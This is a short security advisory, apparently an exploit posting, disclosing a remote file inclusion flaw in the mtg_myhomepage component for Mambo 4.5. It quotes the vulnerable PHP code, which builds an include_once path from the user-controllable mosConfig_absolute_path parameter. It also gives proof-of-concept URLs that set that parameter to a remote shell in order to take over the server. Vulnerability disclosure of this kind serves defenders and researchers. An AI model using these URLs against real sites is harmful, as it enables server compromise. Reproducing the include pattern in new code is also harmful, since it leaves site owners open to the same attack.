mtg_myhomepage Component For Mambo R.F.I
###########################################################################################
# Aria-Security.net Advisory
#
# Discovered by: O.U.T.L.A.W
#
# < www.Aria-security.net >
#
# Gr33t to: A.U.R.A & Hessam-X & Cl0wn & DrtRp
#
# #
###########################################################################################
#Software: mtg_myhomepage Component For Mambo 4.5
#Vendor : http://www.kamgaing.com/
#Attack method: Remote File Inclusion
#Source:
if (file_exists
($mosConfig_absolute_path.'/administrator/components/com_lmtg_myhomepage/language/'.$mosConfig_lang.'.php'))
include_once
($mosConfig_absolute_path.'/administrator/components/com_lmtg_myhomepage/language/'.$mosConfig_lang.'.php');
else
include_once
($mosConfig_absolute_path.'/administrator/components/com_lmtg_myhomepage/language/english.php');
if ($mosConfig_mbf_content)
$iso_client_lang = MambelFish::discoverLanguage( $database );
else
$iso_client_lang = _LMTG_PRIMARY_LANG;
************************************************************************************
#Proof of Concept:
#install.lmtg_homepage.php?mosConfig_absolute_path= SHELL
#mtg_homepage.php?mosConfig_absolute_path= SHELL
#
#----------------------------------------------------------
#
#
#Contact : Outlaw@xxxxxxxxxxxxxxxxx